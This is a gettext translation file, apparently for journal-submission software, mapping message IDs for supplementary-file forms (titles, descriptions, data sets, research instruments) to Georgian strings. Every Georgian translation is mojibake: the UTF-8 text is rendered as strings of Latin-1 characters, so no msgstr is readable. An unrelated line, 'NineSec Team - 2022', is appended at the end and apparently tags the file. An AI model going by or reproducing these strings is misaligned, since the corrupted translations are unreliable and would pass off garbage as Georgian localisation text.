msgid "author.suppFile.suppFilePublicIdentificationExists"
msgstr "დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜áƒ¡ სáƒáƒ¯áƒáƒ áƒ იდენტიფიკáƒáƒ¢áƒáƒ áƒ˜ áƒáƒ  áƒáƒ áƒ¡áƒ”ბáƒáƒ‘ს."

msgid "author.submit.suppFile.form.descriptionRequired"
msgstr "გთხáƒáƒ•áƒ— შეიტáƒáƒœáƒáƒ— áƒáƒ¦áƒ¬áƒ”რáƒ."

msgid "author.submit.suppFile.form.subjectRequired"
msgstr "გთხáƒáƒ•áƒ— შეიტáƒáƒœáƒáƒ— თემáƒ."

msgid "author.submit.suppFile.form.titleRequired"
msgstr "გთხáƒáƒ•áƒ—, შეიტáƒáƒœáƒ”თ áƒáƒ› დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜áƒ¡ დáƒáƒ¡áƒáƒ®áƒ”ლებáƒ."

msgid "author.submit.suppFile.noFile"
msgstr "áƒáƒ  áƒáƒ áƒ˜áƒ¡ áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ული ფáƒáƒ˜áƒšáƒ”ბი."

msgid "author.submit.suppFile.specifyOtherType"
msgstr "მიუთითეთ სხვáƒ"

msgid "author.submit.suppFile.sourceDescription"
msgstr "კვლევის, áƒáƒœ მáƒáƒ¡áƒáƒšáƒ˜áƒ¡ სხვრწყáƒáƒ áƒáƒ”ბის დáƒáƒ¡áƒáƒ®áƒ”ლებáƒ."

msgid "author.submit.suppFile.dateDescription"
msgstr "მáƒáƒœáƒáƒªáƒ”მთრშეკრების, áƒáƒœ ხელსáƒáƒ¬áƒ§áƒáƒ¡ შექმნის თáƒáƒ áƒ˜áƒ¦áƒ˜."

msgid "author.submit.suppFile.publisherDescription"
msgstr "მხáƒáƒšáƒáƒ“ áƒáƒ¤áƒ˜áƒªáƒ˜áƒáƒšáƒ£áƒ áƒáƒ“ გáƒáƒ›áƒáƒ¥áƒ•áƒ”ყნებული მáƒáƒ¡áƒáƒšáƒ”ბისáƒáƒ—ვის."

msgid "author.submit.suppFile.availableToPeers"
msgstr ""
"ფáƒáƒ˜áƒšáƒ˜áƒ¡ მიწáƒáƒ“ებრრეცენზენტებზე (მეტáƒ-მáƒáƒœáƒáƒªáƒ”მების გáƒáƒ áƒ”შე), ვინáƒáƒ˜áƒ“áƒáƒœ ეს áƒáƒ  "
"áƒáƒ áƒ¦áƒ•áƒ”ვს áƒáƒœáƒáƒœáƒ˜áƒ›áƒ£áƒ áƒ˜ რეცენზირების მáƒáƒ—ხáƒáƒ•áƒœáƒ”ბს."

msgid "author.submit.suppFile.briefDescription"
msgstr "მáƒáƒ™áƒšáƒ” áƒáƒ¦áƒ¬áƒ”რáƒ"

msgid "author.submit.suppFile.sourceText"
msgstr "სáƒáƒ¬áƒ§áƒ˜áƒ¡áƒ˜ ტექსტი"

msgid "author.submit.suppFile.dataSet"
msgstr "მáƒáƒœáƒáƒªáƒ”მთრნáƒáƒ™áƒ áƒ”ბი"

msgid "author.submit.suppFile.dataAnalysis"
msgstr "მáƒáƒœáƒáƒªáƒ”მთრáƒáƒœáƒáƒšáƒ˜áƒ–ი"

msgid "author.submit.suppFile.transcripts"
msgstr "ტრáƒáƒœáƒ¡áƒ™áƒ áƒ˜áƒžáƒ¢áƒ˜"

msgid "author.submit.suppFile.researchResults"
msgstr "კვლევის შედეგები"

msgid "author.submit.suppFile.researchMaterials"
msgstr "კვლევის მáƒáƒ¡áƒáƒšáƒ”ბი"

msgid "author.submit.suppFile.researchInstrument"
msgstr "კვლევის ხელსáƒáƒ¬áƒ§áƒ"

msgid "author.submit.suppFile.createrOrOwner"
msgstr "ფáƒáƒ˜áƒšáƒ˜áƒ¡ áƒáƒ•áƒ¢áƒáƒ áƒ˜ (áƒáƒœ მფლáƒáƒ‘ელი)"

msgid "author.submit.supplementaryFileUpload"
msgstr "დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜"

msgid "author.submit.supplementaryFileDataDescription"
msgstr ""
"დáƒáƒ›áƒáƒ¢áƒ”ბითი მáƒáƒ¡áƒáƒšáƒ”ბის ინდექსირებისáƒáƒ—ვის მიუთითეთ შემდეგი მეტáƒ-მáƒáƒœáƒáƒªáƒ”მები "
"áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ული დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜áƒ¡áƒáƒ—ვის."

msgid "author.submit.supplementaryFileData"
msgstr "დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜áƒ¡ მეტáƒ-მáƒáƒœáƒáƒªáƒ”მები"

msgid "author.submit.editSupplementaryFile"
msgstr "დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜áƒ¡ ჩáƒáƒ¡áƒ¬áƒáƒ áƒ”ბáƒ"

NineSec Team - 2022